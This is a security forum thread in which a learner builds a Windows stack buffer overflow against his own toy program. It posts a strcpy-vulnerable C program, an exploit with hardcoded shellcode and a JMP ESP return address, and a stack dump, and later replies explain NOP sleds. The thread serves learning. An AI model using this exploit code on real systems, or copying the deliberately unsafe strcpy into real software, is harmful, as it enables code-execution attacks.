Windows Stack Based Overflow, Confusing
Page 1 of 2 12 LastLast
Results 1 to 10 of 16

Thread: Windows Stack Based Overflow, Confusing

  1. #1

    Windows Stack Based Overflow, Confusing

    Hello, I have been trying to just figure out buffer overflows on windows to satiate my curiosity. I was able to do a funny little deal that ended up like this:

    Code:
    #include <string.h>
    #include <stdio.h>
    
    char shellcode[] = 
    	"\x31\xC0\x50\xB8\xA2\xCA\x81\x7C\xFF\xD0";
    
    void copy(char *s) 
    {
    	char buf[256];
    	strcpy(buf, s);
    }
    
    int main()
    {
    	char buffer[512];
    
    	for(int i = 0; i < 260; i++)
    		buffer[i] = 'X';
    
    	memcpy(buffer, shellcode, strlen(shellcode));
    	*(int *) (buffer + 260) = 0x7C816353;
    
    	copy(buffer);
    	printf("If we got here, it didn't exit like it should have");
    	return 0;
    }
    The shellcode just does an ExitProcess call (hardcoded). And I overflow the return address with the address of a JMP EAX instruction in kernel32, which worked because I was lucky enough that strcpy returns a pointer to the destination string. This is very platform specific right now, and also impractical, I want to be able to do something where I can right a vulnerable program, and an exploit program which attacks it. So something like:

    Code:
    #include <string.h>
    
    int main(int argc, char **argv)
    {
        char buf[256];
    
        if(argc == 2)
            strcpy(buf, argv[1]);
    
        return 0;
    }
    Doing this brings up some problems. Firstly, EAX is zero'ed before exiting, so no JMP/CALL EAX. You would think I would be able to do a JMP/CALL ESP, however, for some reason the compiler (VC), allocates 144h or 324 bytes, and the buffer starts in the middle at EBP-100h, so I can't find a suitable register to use this method.

    I was wondering if this method is just too limited and whether I should just abandon it, or whether it could be salvaged. If it can not be salvaged, I am aware of a method which involves abusing SEH frames, but I can not for the life of me figure out how it works. Any help is so so appreciated, and I hope this is not just blown off as a skript kiddy thing.

  2. #2
    Okay, I see that this sort of discussion isn't taken very well here. This thread can commit suicide or whatever the policy is I guess.

  3. #3
    AO Ancient: Team Leader
    Join Date
    Oct 2002
    Posts
    5,197
    I don't think it's that the discussion is frowned upon here, (certainly not from my part), but rather that the people who do have the skills/knowledge to deal with the specifics in your case haven't passed through recently...

    Frankly, while I understand the principles behind your question the programmatic issues are outside my knowledge... Hopefully one of the chaps that can assist will pass throughh and give you some help soon.
    Don\'t SYN us.... We\'ll SYN you.....
    \"A nation that draws too broad a difference between its scholars and its warriors will have its thinking done by cowards, and its fighting done by fools.\" - Thucydides

  4. #4
    Senior Member
    Join Date
    Mar 2003
    Posts
    372
    Originally posted here by Tonto
    Okay, I see that this sort of discussion isn't taken very well here. This thread can commit suicide or whatever the policy is I guess.

    nah I don't see a problem with this post. Overflows can certainly help in the security arena... I just don't think you are going to find many people (including myself) that are conversant on these things here.

    You might want to check out the DailyDave mailing list, or maybe I can recommend a couple of really good books for you like Buffer Overflow Attacks: Detect, Exploit, Prevent by James C. Foster, Vitaly Osipov, Nish Bhalla and Niels Heinen. Also you might want to check out Nish Bhallas papers on Windows Buffer Overflows which can be found here.

    Good luck, if you figured out what you need then let us know... this is something that I have been messing around with for a few months now.

    Give a man a match and he will be warm for a while, light him on fire and he will be warm for the rest of his life.

  5. #5
    Well here's a very nifty surprise! I had stared at this countless countless times before, but just after I had posted here I figured it out very quickly. I forgot that when a function returns that MOV ESP, EBP occurs to make and ESP ends up pointing right after the RET. So now I made this, with a little 'Error' message box in the shellcode. Here's the vulnerable program,

    Code:
    #include <string.h>
    
    int main(int argc, char ** argv)
    {
    	char buf[256];
    	if(argc == 2)
    		strcpy(buf, argv[1]);
    }
    And here's the attacking code

    Code:
    #include <string.h>
    #include <windows.h>
    
    char shellcode[] = 
    	"\x31\xD2\x52\x52\x52\x52\xB8\xEA\x04\xD8\x77\xFF"
    	"\xD0\x31\xC0\x50\xB8\xA2\xCA\x81\x7C\xFF\xD0";
    
    
    int main()
    {
    	char buffer[300];
    	for(int i = 0; i < sizeof(buffer); i++)
    		buffer[i] = 0x90;
    
    	*(int *) (buffer + 260) = 0x7C82385D; // JMP ESP
    	memcpy(buffer + 264, shellcode, strlen(shellcode));
    
    
    	SHELLEXECUTEINFO info = { 0 };
        
    	info.cbSize       = sizeof(info); 
    	info.lpVerb       = "open";
    	info.lpFile       = "c:\\vuln.exe";
    	info.lpParameters = buffer;
    	info.nShow        = SW_SHOW;
        
    	ShellExecuteEx(&info);
    	return 0;
    }
    This time, the shellcode is placed after the RET address. Here's how it played out as the vulnerable program is returning from main

    Code:
    MOV ESP,EBP ; ESP = 0012FDF8
    POP EBP     ; ESP = 0012FDFC
    RETN        ; ESP = 0012FE00
    
    0012FDF8   58585858 << This is the EBP we overwrote with 'X's
    0012FDFC   7C82385D << This is the RET to the JMP ESP, which is now 0012FE00
    0012FE00   5252D231 << This is the start of the shellcode immediately after
    0012FE04   EAB85252 
    0012FE08   FF77D804
    0012FE0C   50C031D0
    0012FE10   81CAA2B8
    0012FE14   58D0FF7C
    0012FE18   58585858
    And it worked! That was a pretty cool feeling Now here's another little question. What is the point of the NOP sled in this? I mean, I have to figure out exactly where the RET I need to overwrite is, and since JMP ESP will just JMP immediately after that, it seems useless to even have any code that will 'slide' down to the shellcode, because I could just copy it right after the RET. Or perhaps, maybe you don't have to know exactly where the RET is, and I can make the attack be more generic somehow? Am I missing something?

  6. #6
    AO Ancient: Team Leader
    Join Date
    Oct 2002
    Posts
    5,197
    It's my understanding that NOP sled is to precisely position the shellcode at the point in memory that the code will be executed for a buffer overflow. In a stack overflow I don't believe a NOP sled is needed - but you do need to know exactly which point in the stack you need to mess with to effect the JMP.

    Then again, I stated previously, this is not an area in which I "excel"...
    Don\'t SYN us.... We\'ll SYN you.....
    \"A nation that draws too broad a difference between its scholars and its warriors will have its thinking done by cowards, and its fighting done by fools.\" - Thucydides

  7. #7
    Makes sense now, maybe I'll try to figure out that exception handler abuse here soon. That guys explanation of it in his article is very brief and kind of difficult to figure out, but I will definitely give it a good look once exams are over (yikes). Thank you, guys.

  8. #8
    Senior Member
    Join Date
    Mar 2004
    Posts
    557
    Hi

    Tonto, congratulations that you worked it out by yourself. You were at
    the point where people trying for vuln-dev start to stop. Welcome to AO, and
    I really hope to see you around

    NOP

    In my understanding and experience, NOP's help to enlarge the number of
    "valid" jumps[1]: you don't have to exactly jump to your shellcode, but to some
    region which is nopped (after which the shellcode starts). So, this kind of
    padding is primarily not to position the shellcode, but rather to simplify the
    exploitation.

    Tonto, please send me the link to the article using SEH chains for exploiting
    stack buffer overflows. I am used to dealing with the SEH chains considering
    heap overflows, and maybe I find the time to help you.

    Cheers

    [1] http://community.corest.com/~juliano/withperl.txt (Designing the Payload)
    If the only tool you have is a hammer, you tend to see every problem as a nail.
    (Abraham Maslow, Psychologist, 1908-70)

  9. #9
    It is just this article in the series that Lz4 posted: http://www.securitycompass.com/downl...dows-Part4.pdf

    It provides example code for a new set of opcodes that are used when overwriting the RET or something to overwrite the exception handler, but I was not really able to picture how the memory for the exception frame in relation to everything else. I have been told that the book "The Shellcoders Handbook" contains a very detailed explanation of SEH abusing (it's like a 600 page book about shellcode and vulnerabilities), and have considered getting it.

  10. #10
    nice thread...

    Anyhow...Attacks using techniques like your talking about, work on the principle that it is possible under the right circumstances to alter the return address of a function to allow execution of an attackers code. When the code must branch and follow another execution path, it must have a way to remember where the split occured, so that it can continue execution there when it's done. Basically the value of EIP is pushed unto the stack; a branch of code is ran; and then EIP is pop'ed back of the stack and execution continue's there. So now you should be getting a clearer picture of how it's possible to alter the return address of a function, by writing data to the stack.

    As far as the NOP sled thing...
    sec_ware is totally right...It's to simplify the exploitation. Shellcode can be written that uses
    precise addresses. However, this takes considerable more time to code, and isn't really portable at all because so many variables come into play that effect where and how the code is loaded into memory, that an attack has to be VERY specific (For this OS version, running binaries X,Y,Z, but not W...ect)...The NOP sled simply avoids all this by giving you some padding to point EIP.
    We are a generation without a middle. We have no great war or depression. Our war is a spiritual one, our depression is our lives. We were all raised to believe that we\'ll all be millionaires and rockstars - But we won\'t.
    And we are slowly learning this fact...And we are VERY pissed off about it!

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •